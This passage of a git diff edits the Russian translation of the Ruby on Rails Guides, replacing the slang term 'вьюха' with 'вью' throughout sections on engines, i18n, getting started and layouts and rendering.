хелперы также помещены в пространство имен. Наконец, маршруты также будут изолированы в engine. Это одна из наиболее важных частей относительно пространства имен, и будет обсуждена позже в разделе [Маршруты](#routes) этого руководства. @@ -252,7 +252,7 @@ end Отметьте, что маршруты отрисовываются в объекте `Blorgh::Engine`, а не в классе `YourApp::Application`. Это так, поскольку маршруты engine ограничены самим engine и могут быть смонтированы в определенной точке, как показано в разделе [Директория `test`](#test-directory). Также по этой причине маршруты engine изолированы от маршрутов приложения. Раздел [Маршруты](#routes) руководства описывает это подробнее. -Затем вызывается генератор `scaffold_controller`, создавая контроллер с именем `Blorgh::ArticlesController` (в `app/controllers/blorgh/articles_controller.rb`) и соответствующие вьюхи в `app/views/blorgh/articles`. Этот генератор также создает тесты для контроллера (`test/controllers/blorgh/articles_controller_test.rb` и `test/system/blorgh/articles_test.rb`) и хелпер (`app/helpers/blorgh/articles_helper.rb`). +Затем вызывается генератор `scaffold_controller`, создавая контроллер с именем `Blorgh::ArticlesController` (в `app/controllers/blorgh/articles_controller.rb`) и соответствующие вью в `app/views/blorgh/articles`. Этот генератор также создает тесты для контроллера (`test/controllers/blorgh/articles_controller_test.rb` и `test/system/blorgh/articles_test.rb`) и хелпер (`app/helpers/blorgh/articles_helper.rb`). Все, что этот генератор создает, аккуратно помещается в пространство имен. Класс контроллера определяется в модуле `Blorgh`: @@ -695,7 +695,7 @@ WARNING: Тут важно использовать строковую верс Тестирование engine ------------------- -В созданном engine есть небольшое пустое приложение в `test/dummy`. Это приложение используется как точка монтирования для engine, чтобы максимально упростить тестирование engine. Это приложение можно расширить, сгенерировав контроллеры, модели или вьюхи из этой директории, и использовать их для тестирования своего engine. +В созданном engine есть небольшое пустое приложение в `test/dummy`. Это приложение используется как точка монтирования для engine, чтобы максимально упростить тестирование engine. Это приложение можно расширить, сгенерировав контроллеры, модели или вью из этой директории, и использовать их для тестирования своего engine. Директорию `test` следует рассматривать как обычную среду тестирования Rails, допускающую юнит, функциональные и интеграционные тесты. @@ -885,13 +885,13 @@ module Blorgh::Concerns::Models::Article end ``` -### Переопределение вьюх +### Переопределение вью -Когда Rails ищет вьюху для рендеринга, он сперва смотрит в директорию `app/views` приложения. Если он не может найти там вьюху, он проверит директории `app/views` всех engine, имеющих эту директорию. +Когда Rails ищет вью для рендеринга, он сперва смотрит в директорию `app/views` приложения. Если он не может найти там вью, он проверит директории `app/views` всех engine, имеющих эту директорию. -Когда приложение хочет отрендерить вьюху для экшна `index` в `Blorgh::ArticlesController`, он сперва пытается найти путь `app/views/blorgh/articles/index.html.erb` внутри приложения. Если не сможет найти, то будет искать внутри engine. +Когда приложение хочет отрендерить вью для экшна `index` в `Blorgh::ArticlesController`, он сперва пытается найти путь `app/views/blorgh/articles/index.html.erb` внутри приложения. Если не сможет найти, то будет искать внутри engine. -Можно переопределить эту вьюху в приложении, просто создав файл `app/views/blorgh/articles/index.html.erb`. Можно полностью изменить то, что эта вьюха должна обычно выводить. +Можно переопределить эту вью в приложении, просто создав файл `app/views/blorgh/articles/index.html.erb`. Можно полностью изменить то, что эта вью должна обычно выводить. Попробуйте так сделать, создав новый файл `app/views/blorgh/articles/index.html.erb` и поместив в него: diff --git a/source/form_helpers.md b/source/form_helpers.md index 2aeb38a9..385b5110 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -1,7 +1,7 @@ Хелперы форм в Action View ========================== -Формы в веб-приложениях - это основной интерфейс для пользовательского ввода. Однако, разметка форм может быстро стать нудной в написании и поддержке из-за необходимости обрабатывать имена элементов управления формы и их бесчисленные атрибуты. Rails устраняет эту сложность, предоставляя хелперы вьюх для генерации разметки форм. Однако, поскольку эти хелперы имеют разные принципы использования, разработчикам нужно знать различия между похожими методами хелперов, прежде чем начать их использовать. +Формы в веб-приложениях - это основной интерфейс для пользовательского ввода. Однако, разметка форм может быстро стать нудной в написании и поддержке из-за необходимости обрабатывать имена элементов управления формы и их бесчисленные атрибуты. Rails устраняет эту сложность, предоставляя хелперы вью для генерации разметки форм. Однако, поскольку эти хелперы имеют разные принципы использования, разработчикам нужно знать различия между похожими методами хелперов, прежде чем начать их использовать. После прочтения этого руководства, вы узнаете: diff --git a/source/getting_started.md b/source/getting_started.md index 8f626132..7b3f8b10 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -145,7 +145,7 @@ $ cd blog | Файл/Папка | Назначение | | ----------------------| ---------- | -|app/ |Содержит контроллеры, модели, вьюхи, хелперы, рассыльщики, каналы, задания и ассеты вашего приложения. Мы рассмотрим эту папку подробнее далее.| +|app/ |Содержит контроллеры, модели, вью, хелперы, рассыльщики, каналы, задания и ассеты вашего приложения. Мы рассмотрим эту папку подробнее далее.| |bin/ |Содержит скрипты `rails`, которые стартуют ваше приложение, также директория может содержать другие скрипты которые вы используете для настройки, обновления, деплоя или запуска.| |config/ |Содержит конфигурации маршрутов, базы данных вашего приложения, и т.д. Более подробно это раскрыто в [Конфигурирование приложений на Rails](/configuring-rails-applications)| |config.ru |Конфигурация Rack для серверов, основанных на Rack, используемых для запуска приложения. Подробнее о Rack смотрите на [сайте Rack](https://rack.github.io/).| @@ -1133,9 +1133,9 @@ $ bin/rails generate controller Comments | Файл/Директория | Назначение | |--------------------------------------------- |-------------------------------------------| | app/controllers/comments_controller.rb | Контроллер Comments | -| app/views/comments/ | Вьюхи контроллера хранятся здесь | +| app/views/comments/ | Вью контроллера хранятся здесь | | test/controllers/comments_controller_test.rb | Тест для контроллера | -| app/helpers/comments_helper.rb | Хелпер для вьюх | +| app/helpers/comments_helper.rb | Хелпер для вью | | app/assets/stylesheets/comments.scss | Каскадная таблица стилей для контроллера | Как и в любом другом блоге, наши читатели будут создавать свои комментарии сразу после прочтения статьи, и после добавления комментария они будут направляться обратно на страницу отображения статьи и видеть, что их комментарий уже отражен. В связи с этим, наш `CommentsController` служит в качестве средства создания комментариев и удаления спама, если такой будет. @@ -1339,7 +1339,7 @@ end Второй render всего лишь определяет шаблон партиала, который мы хотим рендерить, `comments/form`. Rails достаточно сообразительный, чтобы подставить подчеркивание в эту строку и понять, что Вы хотели рендерить файл `_form.html.erb` в директории `app/views/comments`. -Объект `@article` доступен в любых партиалах, рендерящихся во вьюхе, так как мы определили его как переменную экземпляра. +Объект `@article` доступен в любых партиалах, рендерящихся во вью, так как мы определили его как переменную экземпляра. ### Использование Concerns @@ -1487,7 +1487,7 @@ module Visible end ``` -Затем во вьюхе его можно вызвать как любой другой метод класса: +Затем во вью его можно вызвать как любой другой метод класса: ```html+erb

    Articles

    @@ -1508,7 +1508,7 @@ Our blog has <%= Article.public_count %> articles and counting! Удаление комментариев --------------------- -Другой важной особенностью блога является возможность удаления спама. Чтобы сделать это, нужно вставить некоторую ссылку во вьюхе и экшн `destroy` в `CommentsController`. +Другой важной особенностью блога является возможность удаления спама. Чтобы сделать это, нужно вставить некоторую ссылку во вью и экшн `destroy` в `CommentsController`. Поэтому сначала добавим ссылку для удаления в партиал `app/views/comments/_comment.html.erb`: diff --git a/source/i18n.md b/source/i18n.md index 74260c6e..944f4230 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -14,7 +14,7 @@ API интернационализации Rails (I18n) В процессе _локализации_ своего приложения вы, скорее всего, захотите сделать три вещи: * Заменить или дополнить локаль Rails по умолчанию - т.е. форматы даты и времени, названия месяцев, имена модели Active Record и т.д. -* Извлечь строки в вашем приложении в словари ключей - т.е. сообщения flash, статичные тексты в ваших вьюхах и т.д. +* Извлечь строки в вашем приложении в словари ключей - т.е. сообщения flash, статичные тексты в ваших вью и т.д. * Где-нибудь хранить получившиеся словари. Это руководство проведет вас через I18n API, оно содержит консультации как интернационализировать приложения на Rails с самого начала. @@ -384,11 +384,11 @@ end

    <%= flash[:notice] %>

    ``` -Теперь при рендеринге вьюхи будет показано сообщение об ошибке, сообщающее, что отсутствуют переводы для ключей `:hello_world` и `:hello_flash`. +Теперь при рендеринге вью будет показано сообщение об ошибке, сообщающее, что отсутствуют переводы для ключей `:hello_world` и `:hello_flash`. ![демонстрация отсутствия перевода в rails i18n](/images/i18n/demo_translation_missing.png) -NOTE: Rails добавляет метод хелпера `t` (`translate`) во вьюхи, так что вам не нужно набирать `I18n.t` каждый раз. Дополнительно этот хелпер ловит отсутствующие переводы и оборачивает результирующее сообщение об ошибке в ``. +NOTE: Rails добавляет метод хелпера `t` (`translate`) во вью, так что вам не нужно набирать `I18n.t` каждый раз. Дополнительно этот хелпер ловит отсутствующие переводы и оборачивает результирующее сообщение об ошибке в ``. ### Предоставление переводов для интернационализированных строк @@ -498,7 +498,7 @@ NOTE: Опции `default` и `scope` зарезервированы и не м ### Добавление форматов даты/времени -Хорошо! Теперь давайте добавим временную метку во вьюху, чтобы продемонстрировать особенности **локализации даты/времени**. Чтобы локализовать формат даты, нужно передать объект Time в `I18n.l`, или (лучше) использовать хелпер Rails `#l`. Формат можно выбрать передав опцию `:format` - по умолчанию используется формат `:default`. +Хорошо! Теперь давайте добавим временную метку во вью, чтобы продемонстрировать особенности **локализации даты/времени**. Чтобы локализовать формат даты, нужно передать объект Time в `I18n.l`, или (лучше) использовать хелпер Rails `#l`. Формат можно выбрать передав опцию `:format` - по умолчанию используется формат `:default`. ```erb # app/views/home/index.html.erb @@ -527,9 +527,9 @@ TIP: Сейчас вам, возможно, захочется добавить Rails позволяет определить правила словообразования (такие как единственное и множественное число) для локалей, отличных от английской. В `config/initializers/inflections.rb` можно определить эти правила для нескольких локалей. Инициализатор содержит пример по умолчанию для определения дополнительных правил для английского, следуйте этому формату для других локалей. -### Локализованные вьюхи +### Локализованные вью -Скажем, у вас в приложении есть _BooksController_. Экшн _index_ рендерит содержимое в шаблоне `app/views/books/index.html.erb`. Когда вы помещаете _локализованный вариант_ этого шаблона: **`index.es.html.erb`** в ту же директорию, Rails будет рендерить содержимое в этот шаблон, когда локаль будет установлена как `:es`. Когда будет установлена локаль по умолчанию, будет использована обычная вьюха `index.html.erb`. (Будущие версии Rails, возможно, перенесут эту возможность _автоматической_ локализации ассетов в `public`, и т.д.) +Скажем, у вас в приложении есть _BooksController_. Экшн _index_ рендерит содержимое в шаблоне `app/views/books/index.html.erb`. Когда вы помещаете _локализованный вариант_ этого шаблона: **`index.es.html.erb`** в ту же директорию, Rails будет рендерить содержимое в этот шаблон, когда локаль будет установлена как `:es`. Когда будет установлена локаль по умолчанию, будет использована обычная вью `index.html.erb`. (Будущие версии Rails, возможно, перенесут эту возможность _автоматической_ локализации ассетов в `public`, и т.д.) Можете использовать эту особенность, например, при работе с большим количеством статичного содержимого, который было бы неудобно вложить в словари YAML или Ruby. Хотя имейте в виду, что любое изменение, которое вы в дальнейшем сделаете в шаблоне, должно быть распространено на все локали. @@ -562,7 +562,7 @@ Rails позволяет определить правила словообра |-----en.rb ``` -Таким образом можно разделить модель и имена атрибутов модели от текста внутри вьюх, и все это от "defaults" (т.е. форматов даты и времени). Другие хранилища для библиотеки i18n могут предоставить другие средства подобного разделения. +Таким образом можно разделить модель и имена атрибутов модели от текста внутри вью, и все это от "defaults" (т.е. форматов даты и времени). Другие хранилища для библиотеки i18n могут предоставить другие средства подобного разделения. NOTE: Механизм загрузки локали по умолчанию в Rails не загружает файлы локали во вложенных словарях, как тут. Поэтому, чтобы это заработало, нужно явно указать Rails смотреть глубже: @@ -576,14 +576,14 @@ NOTE: Механизм загрузки локали по умолчанию в Теперь у вас есть хорошее понимание об использовании библиотеки i18n и знание, как интернационализировать простое приложения на Rails. В следующих частях мы раскроем особенности более детально. -Эти главы покажут примеры использования как метода `I18n.translate`, так и [метода хелпера вьюхи `translate`](https://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (отметив дополнительные функции, предоставленными методом хелпера вьюхи). +Эти главы покажут примеры использования как метода `I18n.translate`, так и [метода хелпера вью `translate`](https://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (отметив дополнительные функции, предоставленными методом хелпера вью). Раскроем особенности такие, как: * поиск переводов * интерполяция данных в переводы * множественное число у переводов -* использование HTML-безопасных переводов (только метод хелпера вьюхи) +* использование HTML-безопасных переводов (только метод хелпера вью) * локализация дат, номеров, валют и т.п. ### Поиск переводов @@ -675,7 +675,7 @@ I18n.t 'welcome', deep_interpolation: true, app_name: 'book store' #### "Ленивый" поиск -Rails реализует удобный способ поиска локали внутри _вьюх_. Когда имеется следующий словарь: +Rails реализует удобный способ поиска локали внутри _вью_. Когда имеется следующий словарь: ```yaml es: @@ -690,7 +690,7 @@ es: <%= t '.title' %> ``` -NOTE: Автоматический скоупинг перевода доступен только из метода хелпера вьюхи `translate`. +NOTE: Автоматический скоупинг перевода доступен только из метода хелпера вью `translate`. "Ленивый" поиск также может быть использован в контроллерах: @@ -788,7 +788,7 @@ I18n.default_locale = :de ### Использование HTML-безопасных переводов -Ключи с суффиксом `_html` и ключами с именем `html` помечаются как HTML-безопасные. При их использовании во вьюхах, HTML не будет экранирован. +Ключи с суффиксом `_html` и ключами с именем `html` помечаются как HTML-безопасные. При их использовании во вью, HTML не будет экранирован. ```yaml # config/locales/en.yml @@ -823,7 +823,7 @@ en: С другой стороны, безопасные строки интерполируются дословно. -NOTE: Автоматическое преобразование в HTML-безопасный текст перевода доступен только для метода хелпера вьюхи `translate`. +NOTE: Автоматическое преобразование в HTML-безопасный текст перевода доступен только для метода хелпера вью `translate`. ![демонстрация html-безопасности в i18n](/images/i18n/demo_html_safe.png) @@ -1107,7 +1107,7 @@ UnknownFileType # бэкенд не знает, как обрабо API I18n поймает все эти исключения, когда они были вызваны в бэкенде, и передаст их в метод default_exception_handler. Этот метод вызовет заново все исключения, кроме исключений `MissingTranslationData`. Когда было вызвано исключение `MissingTranslationData`, он возвратит строку сообщения об ошибке исключения, содержащую отсутствующие ключ/пространство имен. -Причиной для этого является то, что при разработке вам обычно хочется, чтобы вьюхи рендерились несмотря на отсутствующие переводы. +Причиной для этого является то, что при разработке вам обычно хочется, чтобы вью рендерились несмотря на отсутствующие переводы. Впрочем, в иных ситуациях, возможно, захочется изменить это поведение. Например, обработка исключений по умолчанию не позволяет просто ловить отсутствующие переводы во время автоматических тестов. Для этой цели может быть определен иной обработчик исключений. Определенный обработчик исключений должен быть методом в модуле I18n или классом с методом `#call`: diff --git a/source/index.md b/source/index.md index f5020c22..bc9250f3 100644 --- a/source/index.md +++ b/source/index.md @@ -29,11 +29,11 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Интерфейс запросов Active Record](/active-record-query-interface) := Это руководство раскрывает интерфейс запросов к базе данных, предоставленный Active Record. - [Основы Active Model](/active-model-basics) := Это руководство познакомит вас со всем, что вам надо для начала использования моделей классов Active Model. -## Вьюхи +## Вью - [Обзор Action View](/action-view-overview) := Это руководство представляет введение в Action View. - [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) := Это руководство раскрывает основы возможностей макетов Action Controller и Action View, включая рендеринг и перенаправление, использование содержимого для блоков и работу с частичными шаблонами. -- [Хелперы Action View](/action-view-helpers) := Это руководство знакомит с некоторыми из многих хелперов вьюх. +- [Хелперы Action View](/action-view-helpers) := Это руководство знакомит с некоторыми из многих хелперов вью. - [Хелперы форм в Action View](/rails-form-helpers) := Руководство по использованию встроенных хелперов форм. ## Контроллеры diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 1943bd3b..2bcb26d3 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -7,15 +7,15 @@ * Как использовать различные методы рендеринга, встроенные в Rails. * Как создавать макеты с несколькими разделами содержимого. -* Как использовать частичные шаблоны для соблюдения принципа DRY в ваших вьюхах. +* Как использовать частичные шаблоны для соблюдения принципа DRY в ваших вью. * Как использовать вложенные макеты (подшаблоны). Обзор: как кусочки складываются вместе -------------------------------------- -Это руководство сосредотачивается на взаимодействии между контроллером и вьюхой (представлением) в треугольнике модель-представление-контроллер (MVC). Как вы знаете, контроллер ответственен за управление целым процессом обслуживания запросов в Rails, хотя обычно любой серьезный код переносится в модель. Но когда приходит время послать отклик обратно пользователю, контроллер передает все вьюхе. Именно этой передаче посвящено данное руководство. +Это руководство сосредотачивается на взаимодействии между контроллером и вью (представлением) в треугольнике модель-представление-контроллер (MVC). Как вы знаете, контроллер ответственен за управление целым процессом обслуживания запросов в Rails, хотя обычно любой серьезный код переносится в модель. Но когда приходит время послать отклик обратно пользователю, контроллер передает все вью. Именно этой передаче посвящено данное руководство. -В общих чертах все связано с решением, что же должно быть послано как отклик, и вызовом подходящего метода для создания этого отклика. Если откликом является полноценная вьюха, Rails также проводит дополнительную работу по упаковыванию вьюхи в макет и, возможно, по вставке частичных вьюх. В общем, все эти этапы вы увидите сами в следующих разделах. +В общих чертах все связано с решением, что же должно быть послано как отклик, и вызовом подходящего метода для создания этого отклика. Если откликом является полноценная вью, Rails также проводит дополнительную работу по упаковыванию вью в макет и, возможно, по вставке частичных вью. В общем, все эти этапы вы увидите сами в следующих разделах. Создание откликов ----------------- @@ -28,7 +28,7 @@ ### Рендеринг по умолчанию: соглашения по конфигурации в действии -Вы уже слышали, что Rails содействует принципу "соглашения по конфигурации". Рендеринг по умолчанию - прекрасный пример этого. По умолчанию контроллеры в Rails автоматически рендерят вьюхи с именами, соответствующими валидным маршрутам. Например, если есть такой код в вашем классе `BooksController`: +Вы уже слышали, что Rails содействует принципу "соглашения по конфигурации". Рендеринг по умолчанию - прекрасный пример этого. По умолчанию контроллеры в Rails автоматически рендерят вью с именами, соответствующими валидным маршрутам. Например, если есть такой код в вашем классе `BooksController`: ```ruby class BooksController < ApplicationController @@ -41,7 +41,7 @@ end resources :books ``` -И у вас имеется файл вьюхи `app/views/books/index.html.erb`: +И у вас имеется файл вью `app/views/books/index.html.erb`: ```ruby

    Books are coming soon!

    @@ -59,9 +59,9 @@ class BooksController < ApplicationController end ``` -Снова отметьте, что у нас соглашения превыше конфигурации в том, что отсутствует избыточный рендер в конце этого экшна index. Правило в том, что не нужно что-то избыточно рендерить в конце экшна контроллера, rails будет искать шаблон `action_name.html.erb` по пути вьюх контроллера и отрендерит его, поэтому в нашем случае Rails отрендерит файл `app/views/books/index.html.erb`. +Снова отметьте, что у нас соглашения превыше конфигурации в том, что отсутствует избыточный рендер в конце этого экшна index. Правило в том, что не нужно что-то избыточно рендерить в конце экшна контроллера, rails будет искать шаблон `action_name.html.erb` по пути вью контроллера и отрендерит его, поэтому в нашем случае Rails отрендерит файл `app/views/books/index.html.erb`. -Итак, в нашей вьюхе мы хотим отобразить свойства всех книг, это делается с помощью шаблона ERB, подобного следующему: +Итак, в нашей вью мы хотим отобразить свойства всех книг, это делается с помощью шаблона ERB, подобного следующему: ```html+erb

    Listing Books

    @@ -93,17 +93,17 @@ end <%= link_to "New book", new_book_path %> ``` -NOTE: Фактически рендеринг осуществляется вложенными классами модуля [`ActionView::Template::Handlers`](https://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). Мы не будем углубляться в этот процесс, но важно знать, что расширение файла вьюхи контролирует выбор обработчика шаблона. +NOTE: Фактически рендеринг осуществляется вложенными классами модуля [`ActionView::Template::Handlers`](https://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). Мы не будем углубляться в этот процесс, но важно знать, что расширение файла вью контролирует выбор обработчика шаблона. ### Использование `render` -Во многих случаях метод `ActionController::Base#render` выполняет большую работу по рендерингу содержимого Вашего приложения для использования в браузере. Имеются различные способы настройки возможностей `render`. Вы можете рендерить вьюху по умолчанию для шаблона Rails, или определенный шаблон, или файл, или встроенный код, или совсем ничего. Можно рендерить текст, JSON или XML. Также можно определить тип содержимого или статус HTTP отрендеренного отклика. +Во многих случаях метод `ActionController::Base#render` выполняет большую работу по рендерингу содержимого Вашего приложения для использования в браузере. Имеются различные способы настройки возможностей `render`. Вы можете рендерить вью по умолчанию для шаблона Rails, или определенный шаблон, или файл, или встроенный код, или совсем ничего. Можно рендерить текст, JSON или XML. Также можно определить тип содержимого или статус HTTP отрендеренного отклика. TIP: Если хотите увидеть точные результаты вызова `render` без необходимости проверять это в браузере, можете вызвать `render_to_string`. Этот метод принимает те же самые опции, что и `render`, но возвращает строку вместо отправки отклика обратно браузеру. -#### Рендеринг вьюхи экшна +#### Рендеринг вью экшна -Если хотите отрендерить вьюху, соответствующую другому шаблону этого же контроллера, можно использовать `render` с именем вьюхи: +Если хотите отрендерить вью, соответствующую другому шаблону этого же контроллера, можно использовать `render` с именем вью: ```ruby def update @@ -139,7 +139,7 @@ end render "products/show" ``` -Rails знает, что эта вьюха принадлежит другому контроллеру, поскольку содержит символ слэша в строке. Если хотите быть точными, можете использовать опцию `:template` (которая требовалась в Rails 2.2 и более ранних): +Rails знает, что эта вью принадлежит другому контроллеру, поскольку содержит символ слэша в строке. Если хотите быть точными, можете использовать опцию `:template` (которая требовалась в Rails 2.2 и более ранних): ```ruby render template: "products/show" @@ -164,13 +164,13 @@ render template: "books/edit" #### Использование `render` с `:inline` -Метод `render` вполне может обойтись без вьюхи, если вы используете опцию `:inline` для поддержки ERB, как части вызова метода. Это вполне валидно: +Метод `render` вполне может обойтись без вью, если вы используете опцию `:inline` для поддержки ERB, как части вызова метода. Это вполне валидно: ```ruby render inline: "<% products.each do |p| %>

    <%= p.name %>

    <% end %>" ``` -WARNING: Должно быть серьезное основание для использования этой опции. Вкрапление ERB в контроллер нарушает MVC ориентированность Rails и создает трудности для других разработчиков в следовании логике вашего проекта. Вместо этого используйте отдельную erb-вьюху. +WARNING: Должно быть серьезное основание для использования этой опции. Вкрапление ERB в контроллер нарушает MVC ориентированность Rails и создает трудности для других разработчиков в следовании логике вашего проекта. Вместо этого используйте отдельную erb-вью. По умолчанию встроенный рендеринг использует ERB. Можете принудить использовать вместо этого Builder с помощью опции `:type`: @@ -442,7 +442,7 @@ class ProductsController < ApplicationController end ``` -С этим объявлением все вьюхи, отрендеренные `ProductsController`, будут использовать `app/views/layouts/inventory.html.erb` как макет. +С этим объявлением все вью, отрендеренные `ProductsController`, будут использовать `app/views/layouts/inventory.html.erb` как макет. Чтобы привязать определенный макет к приложению в целом, используйте объявление `layout` в классе `ApplicationController`: @@ -453,7 +453,7 @@ class ApplicationController < ActionController::Base end ``` -С этим объявлением каждая из вьюх во всем приложении будет использовать `app/views/layouts/main.html.erb` как макет. +С этим объявлением каждая из вью во всем приложении будет использовать `app/views/layouts/main.html.erb` как макет. ##### Выбор макетов во время выполнения @@ -544,7 +544,7 @@ end В этом приложении: -* В целом, вьюхи будут рендериться в макет `main` +* В целом, вью будут рендериться в макет `main` * `ArticlesController#index` будет использовать макет `main` * `SpecialArticlesController#index` будет использовать макет `special` * `OldArticlesController#show` не будет использовать макет совсем @@ -602,7 +602,7 @@ def show end ``` -Если `@book.special?` вычисляется как `true`, Rails начинает процесс рендеринга, выгружая переменную `@book` во вьюху `special_show`. Но это _не_ остановит от выполнения остальной код в экшне `show`, и когда Rails достигнет конца экшна, он начнет рендерить вьюху `show` - и выдаст ошибку. Решение простое: убедитесь, что у вас есть только один вызов `render` или `redirect` за один проход. Еще может помочь такая вещь, как `and return`. Вот исправленная версия метода: +Если `@book.special?` вычисляется как `true`, Rails начинает процесс рендеринга, выгружая переменную `@book` во вью `special_show`. Но это _не_ остановит от выполнения остальной код в экшне `show`, и когда Rails достигнет конца экшна, он начнет рендерить вью `show` - и выдаст ошибку. Решение простое: убедитесь, что у вас есть только один вызов `render` или `redirect` за один проход. Еще может помочь такая вещь, как `and return`. Вот исправленная версия метода: ```ruby def show @@ -631,7 +631,7 @@ end ### Использование `redirect_to` -Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вьюху (или иной ассет) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшну index фотографий вашего приложения с помощью этого вызова: +Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вью (или иной ассет) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшну index фотографий вашего приложения с помощью этого вызова: ```ruby redirect_to photos_url @@ -674,7 +674,7 @@ def show end ``` -С кодом в такой форме, вероятно, будет проблема, если переменная `@book` равна `nil`. Помните, `render :action` не запускает какой-либо код в указанном экшне, и таким образом ничего не будет присвоено переменной `@books`, которую, возможно, потребует вьюха `index`. Один из способов исправить это - использовать перенаправление вместо рендеринга: +С кодом в такой форме, вероятно, будет проблема, если переменная `@book` равна `nil`. Помните, `render :action` не запускает какой-либо код в указанном экшне, и таким образом ничего не будет присвоено переменной `@books`, которую, возможно, потребует вью `index`. Один из способов исправить это - использовать перенаправление вместо рендеринга: ```ruby def index @@ -756,7 +756,7 @@ Cache-Control: no-cache Структурирование макетов ------------------------ -Когда Rails рендерит вьюху как отклик, он делает это путем объединения вьюхи с текущим макетом, используя правила для нахождения текущего макета, которые были рассмотрены ранее. В макетах у вас есть доступ к трем инструментам для объединения различных кусочков результата для формирования общего отклика: +Когда Rails рендерит вью как отклик, он делает это путем объединения вью с текущим макетом, используя правила для нахождения текущего макета, которые были рассмотрены ранее. В макетах у вас есть доступ к трем инструментам для объединения различных кусочков результата для формирования общего отклика: * Теги ассетов * `yield` и `content_for` @@ -764,7 +764,7 @@ Cache-Control: no-cache ### Хелперы ассетных тегов -Хелперы ассетных тегов предоставляют методы для генерации HTML, связывающие вьюхи с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ассетных тегов: +Хелперы ассетных тегов предоставляют методы для генерации HTML, связывающие вью с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ассетных тегов: * `auto_discovery_link_tag` * `javascript_include_tag` @@ -773,7 +773,7 @@ Cache-Control: no-cache * `video_tag` * `audio_tag` -Эти теги можно использовать в макетах или других вьюхах, хотя `auto_discovery_link_tag`, `javascript_include_tag` и `stylesheet_link_tag` как правило используются в разделе `` макета. +Эти теги можно использовать в макетах или других вью, хотя `auto_discovery_link_tag`, `javascript_include_tag` и `stylesheet_link_tag` как правило используются в разделе `` макета. WARNING: Хелперы ассетных тегов _не_ проверяют существование ассетов по заданному месту расположения; они просто предполагают, что вы знаете, что делаете, и генерируют ссылку. @@ -974,7 +974,7 @@ WARNING: Обратите внимание, что нужно указывать ### Понимание `yield` -В контексте макета, `yield` определяет раздел, где должно быть вставлено содержимое из вьюхи. Самый простой способ его использования - это иметь один `yield` там, куда вставится все содержимое вьюхи, которая в настоящий момент рендерится: +В контексте макета, `yield` определяет раздел, где должно быть вставлено содержимое из вью. Самый простой способ его использования - это иметь один `yield` там, куда вставится все содержимое вью, которая в настоящий момент рендерится: ```html+erb @@ -999,11 +999,11 @@ WARNING: Обратите внимание, что нужно указывать ``` -Основное тело вьюхи всегда рендериться в неименованный `yield`. Чтобы рендерить содержимое в именованный `yield`, используйте метод `content_for`. +Основное тело вью всегда рендериться в неименованный `yield`. Чтобы рендерить содержимое в именованный `yield`, используйте метод `content_for`. ### Использование метода `content_for` -Метод `content_for` позволяет вставлять содержимое в именованный блок `yield` в макете. Например, эта вьюха будет работать с макетом, который вы только что видели: +Метод `content_for` позволяет вставлять содержимое в именованный блок `yield` в макете. Например, эта вью будет работать с макетом, который вы только что видели: ```html+erb <% content_for :head do %> @@ -1034,13 +1034,13 @@ WARNING: Обратите внимание, что нужно указывать #### Именование партиалов -Чтобы отрендерить партиал как часть вьюхи, используем метод `render` внутри вьюхи: +Чтобы отрендерить партиал как часть вью, используем метод `render` внутри вью: ```ruby <%= render "menu" %> ``` -Это отрендерит файл, названный `_menu.html.erb` в этом месте в пределах рендерящейся вьюхи. Обратите внимание на начальный символ подчеркивания: файлы партиалов начинаются со знака подчеркивания, чтобы отличать их от обычных вьюх, несмотря на то, что в вызове они указаны без подчеркивания. Это справедливо даже тогда, когда партиалы вызываются из другой папки: +Это отрендерит файл, названный `_menu.html.erb` в этом месте в пределах рендерящейся вью. Обратите внимание на начальный символ подчеркивания: файлы партиалов начинаются со знака подчеркивания, чтобы отличать их от обычных вью, несмотря на то, что в вызове они указаны без подчеркивания. Это справедливо даже тогда, когда партиалы вызываются из другой папки: ```ruby <%= render "shared/menu" %> @@ -1048,9 +1048,9 @@ WARNING: Обратите внимание, что нужно указывать Этот код вытянет партиал из `app/views/shared/_menu.html.erb`. -#### Использование партиалов для упрощения вьюх +#### Использование партиалов для упрощения вью -Один из способов применения партиалов это использоваться их как эквивалент подпрограмм: способ переместить часть разметки из вьюхи так, чтобы можно было легче понять, что там происходит. Например, у вас может быть такая вьюха: +Один из способов применения партиалов это использоваться их как эквивалент подпрограмм: способ переместить часть разметки из вью так, чтобы можно было легче понять, что там происходит. Например, у вас может быть такая вью: ```erb <%= render "shared/ad_banner" %> @@ -1105,7 +1105,7 @@ TIP: Для содержимого, общего для всех страниц #### Макеты партиала -Партиал может использовать свой собственный файл макета, подобно тому, как вьюха может использовать макет. Например, можете вызвать подобный партиал: +Партиал может использовать свой собственный файл макета, подобно тому, как вью может использовать макет. Например, можете вызвать подобный партиал: ```erb <%= render partial: "link_area", layout: "graybar" %> @@ -1147,7 +1147,7 @@ TIP: Для содержимого, общего для всех страниц <% end %> ``` -Хотя тот же самый партиал будет отрендерен в обоих вьюхах, Action View отправит хелпер, который возвратит "Create Zone" для экшна new и "Update Zone" для экшна edit. +Хотя тот же самый партиал будет отрендерен в обоих вью, Action View отправит хелпер, который возвратит "Create Zone" для экшна new и "Update Zone" для экшна edit. Для передачи локальной переменной в партиал только в особых случаях, используйте `local_assigns`. @@ -1183,7 +1183,7 